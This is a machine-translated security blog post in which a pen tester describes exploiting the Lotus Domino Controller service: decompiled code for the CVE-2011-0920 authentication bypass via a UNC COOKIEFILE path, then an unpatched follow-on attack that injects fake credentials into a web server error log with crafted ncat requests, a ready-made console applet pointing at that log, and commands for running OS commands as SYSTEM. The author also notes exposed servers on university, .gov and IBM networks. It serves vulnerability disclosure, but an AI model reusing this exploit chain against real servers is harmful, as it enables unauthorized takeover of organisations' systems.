📜 ⬆️ ⬇️

Lotus Domino penetration

Exploiting Lotus Domino Controller service vulnerabilities



Recently, I often tell stories about how an ordinary pen test can detect 0-day vulnerability in popular software or develop a private exploit. In fact, this kind of problem is solved with a pen test rarely and selectively, and this has its own reasons.

And yet, I want to share a story (aha, bike) about how to solve just such problems, the pen-test goes beyond the monotonous scanning, brute-force and stuffing quotes into the parameters of a web application. Namely, in this post you will learn about a simple bug in Lotus Domino Server Controller , how a private exploit was created, and also found the problem of zero day, which is still relevant today.
')




Penetration test


So, penetration test. This topic is consistently annoyed every year on various blogs and various specialists. And this is no accident: this service has many different subtleties and pitfalls. But I will not stir up the water about the necessity, usefulness and content of this thing, I want to talk about the work itself. About what makes the pen test exactly pen test.

Any pen-tester solves many subtasks in order to accomplish the main task - the implementation of attacks on the components of an information system. At the same time, I leave behind the brackets the detailed description and possible variations on the subject of the main task, since this is also not interesting now, but I will single out two or three subtasks that are “state-of-art”:



It so happened that during one of the defaults a whole set of vulnerabilities was discovered without publicly available exploits, even without PoCs or detailed descriptions of the problem. Therefore, for one such vulnerability, it was decided to find out everything ourselves and write a private exploit.

Authentication bypass in Lotus Domino Server Controller

CVE-2011-0920


This vulnerability was found by Patrick Karlsson and sold with giblets in ZDI . So the description from the ZDI website is the only information that we have. Short retelling:

“Vulnerability in the Domino Controller service, TCP port 2050. During the authentication process, an attacker can set the value of the COOKIEFILE parameter as a UNC path, thus establishing control over both the source file for basic authentication data and the values ​​entered during authentication. This allows you to bypass the authentication verification mechanism and access the administration console. Leads to code execution with SYSTEM privileges. ”

The description, although not detailed, says enough about what is happening. So, you can connect to the port number 2050, slip the COOKIEFILE parameter using a protocol, indicating the path type \\ ATTACKER_HOST \ FILE. And in this file to place the username and password and, using the same username and password, enter the system. It remains quite a bit - to disassemble the protocol and file format. Using Nmap scans, you can determine that all the work is done over SSL, but the protocol for communication in the SSL wrapper remains to be seen. In fact, this is extremely simple: it is enough to note that the Lotus Domino Controller service is completely written in Java, both the client and server parts, all in one file:

C:\Program Files\IBM\Lotus\Domino\Data\domino\java\dconsole.jar

This file is easy to decompile (for example, using DJ Java Decompiler , although it is not as good as we would like). After that we look for the code responsible for the connection and request processing. Requests are processed in the NewClient class. In this class, plaintext requests of the form are parsed: #COMMAND param1, param2, ... All commands are described separately:

  . . . //  ReadFromUser(); // s1 –   2050/tcp if(s1.equals("#EXIT")) return 2; . . . if(s1.equals("#APPLET")) return 6; . . . if(s1.equals("#COOKIEFILE")) if(stringtokenizer.hasMoreTokens()) //     - // : #COOKIEFILE <cookieFilename> cookieFilename = stringtokenizer.nextToken().trim(); // return 7; . . . if(s1.equals("#UI")) if(stringtokenizer.hasMoreTokens()) // : #UI <login>,<password> usr = stringtokenizer.nextToken(",").trim(); //Login if(usr == null) return 4; if(stringtokenizer.hasMoreTokens()) // passwords pwd = stringtokenizer.nextToken().trim(); //Password return 0; 


So we met the parameter COOKIEFILE. However, it alone is not enough. Consider the main loop:

  do { int i = ReadFromUser(); //Point.1 if(i == 2) break; //if #EXIT . . . if(i == 6) //if #APPLET Point.2 { appletConnection = true; continue; } . . . //     admindata.xml . . . if(userinfo == null) //Point.9 { //     admindata.xml WriteToUser("NOT_REG_ADMIN"); continue; } . . . if(!appletConnection) //Point.3 flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD()) else flag = verifyAppletUserCookie(usr, pwd); // if #APPLET . . . if(flag) WriteToUser("VALID_USER"); else WriteToUser("WRONG_PASSWORD"); } while(true); if(flag) { //  . . . }else { // } 


As you can see, we have TWO authentication options (Point.3). The first is ordinary, by login and password, and the second is also by login and password, but using COOKIEFILE. In this case, the second option is selected only if before this was the #APPLET (Point.2) command. All commands are read in turn in a loop (Point.1). Therefore, #COOKIEFILE alone is not enough.

Now we understand the format of the protocol, what is the format of the file itself? Consider the verifyAppletUserCookie function:

 File file = new File(cookieFilename); //Point.4 . . . inputstreamreader = new InputStreamReader(new FileInputStream(file), "UTF8"); . . . inputstreamreader.read(ac, 0, i); //Point.5 . . . String s7 = new String(ac); . . . do { if((j = s7.indexOf("<user ", j)) <= 0) //Point.6 break; int k = s7.indexOf(">", j); if(k == -1) break; String s2 = getStringToken(s7, "name=\"", "\"", j, k); //Point.7 . . . String s3 = getStringToken(s7, "cookie=\"", "\"", j, k); . . . String s4 = getStringToken(s7, "address=\"", "\"", j, k); . . . //Point.8 if(usr.equalsIgnoreCase(s2) && pwd.equalsIgnoreCase(s3) &&\ appletUserAddress.equalsIgnoreCase(s4)) { flag = true; break; } . . . } while(true); 


It can be seen that the line commented as Point.4 opens a file whose name is specified by the user (the variable was initialized in the ReadFromUser () function when parsing the #COOKIEFILE command). And the input is not filtered in any way, there may be at least a UNC path. Next, the file is read into the string s7 (Point.5). Further, this line is processed in a loop, where it is clear that this is an ordinary XML file of the form:

 <user name=”usr” cookie=”pass” address=”value”> 


After that, the line commented as Point.8 compares the input of the login, password and address value (#ADDRESS) with the corresponding attribute values ​​of the tag. Since this file can be read from a remote host (on a slipped UNC path), the attack becomes simple and obvious.

This is how exploitation of the vulnerability for ZDI-11-110 looks like.

1. Create a file (cookie.xml):

 <user name="admin" cookie="dsecrg" address="10.10.0.1"> 


2. We use ncat



The “#APPLET” command tells the server that we want to use a cookie for authentication. Now, when we try to authenticate using the “#UI” command, the server will try to open the file along the path we gave it using “#COOKIEFILE”. After that, from there he will take the authentication data and compare it with those entered after the #UI command. After the “#EXIT” command, the server will start the input processing process for the authenticated user, and you can already manage the service, as well as execute OS commands!

It would seem that the tale is over. Moreover, IBM made a fix for this problem, and not even one! These innovations have appeared since version 8.5.2FP3 and 8.5.3.

Correction 1.





Now you need the correct client certificate to connect to port 2050. That is, Ncat and Nmap no longer work with port 2050.

Correction 2.





Now, “. \” Is added before the file name, which means that we can no longer use UNC. Vulnerability fixed. The patch seems adequate.

In fact, it is not. Take a look at the lines of code again (commented as Point.6 and Point.7). The getStringToken function is actually a substring. Hence the obvious question: why did programmers, when implementing this module, resort to writing their own XML parser? Obviously, this parser works with any file that has the corresponding lines: “<user”, “name =”, etc. In other words, this is what we expect:

 <user name="usr" cookie="psw" address="dsecrg"> 


But here's what you can slip, and it’s just as well parted:

 trashtrash<user sdsdasdsdname=”usr”sadasd asdnkasdk cookie=”psw”sssssaddress=”dsecrg”bf %> 


What does it mean? Apparently, we found another vulnerability in the same section of the code. Namely, that together with the ability to connect a local file (UNC can not, but the traversal directory is still as we can: #COOKIEFILE .. \ .. \ .. \ .. \ file -> . \ .. \ .. \ .. \ file), you can inject authentication data into any writable files.

For example:

1. Injectable cookievalues ​​using the Microsoft HTTPAPI service (thanks to jug for finding this log file on the combat, enemy server at the right moment):

 C:\> ncat targethost 49152 GET /<user HTTP/1.0 C:\> ncat targethost 49152 GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0 


Here \ r \ n is just Enter!

2. Now the log file on the server will be like this:

 #Software: Microsoft HTTP API 2.0 #Version: 1.0 #Date: 2011-08-22 09:19:16 #Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status s-siteid s-reason s-queuename 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest - 2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9 47001 HTTP/1.0 GET / 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52902 10.10.9.9 47001 HTTP/1.0 GET <user 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52905 10.10.9.9 47001 HTTP/1.0 GET name="admin"cookie="pass"address="http://twitter/asintsov"> 404 - NotFound - 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest - 


Two requests were not made by chance, since the IBM parser will look for the string “<user” with a space at the end! And all spaces in the request are encoded as “% 20”, and therefore it does not suit us. Then we make the first request so that after the “<user” the space is set by the web server itself (between the request and the result “404 - NotFound”). With the second query, we finish everything else.

Great, almost everything is ready, it remains only to learn how to connect to 2050, because we do not have an SSL certificate. Or is there? Remembering that dconsole.jar is also responsible for the client part, as an applet, it is obvious that there must be a certificate - and there it is. And the key is there. Everything is there. In principle, you can pull out the key and write an exploit, but if it's too lazy, you can use this applet directly:

 <applet name = "DominoConsole" code = "lotus.domino.console.DominoConsoleApplet.class" codebase = "http://127.0.0.1/domjava/" archive = "dconsole.jar" width = "100%" height = "99%“> <PARAM NAME="debug" VALUE="true"> <PARAM NAME="port" VALUE="2050"> <PARAM NAME="useraddress" VALUE="http://twitter/asintsov"> <PARAM NAME="username" VALUE="admin"> <PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log"> <PARAM NAME="cookievalue" VALUE="pass"> <PARAM NAME="onLoad" VALUE="onLoadConsole"> </applet> 


We load this applet in any browser, add a redirect from the local port 2050 to the remote one, and that's it - the effect is achieved. Video Example:

Execute commands from the console. Option 1:

LOAD cmd.exe /c command

Execute commands from the console. Option 2:

$ command

Protection:



Note:

The attacker, in all the listed options, needs to know the correct login value in order to successfully bypass authentication. In any case, it can be iterated, since in the case of a nonexistent login, the error NOT_REG_ADMIN is issued, and if the password is incorrect, then WRONG_PASSWORD (Point.9).

PS Internet Attack



Subnet Moscow University:



Domain .gov, or American scientists do not like firewalls:



Even IBM itself cannot filter port 2050 and update Lotus (+ demonstration of “login” guessing):



findings




... and even then 0day vulnerabilities are not terrible.

Source: https://habr.com/ru/post/141275/


All Articles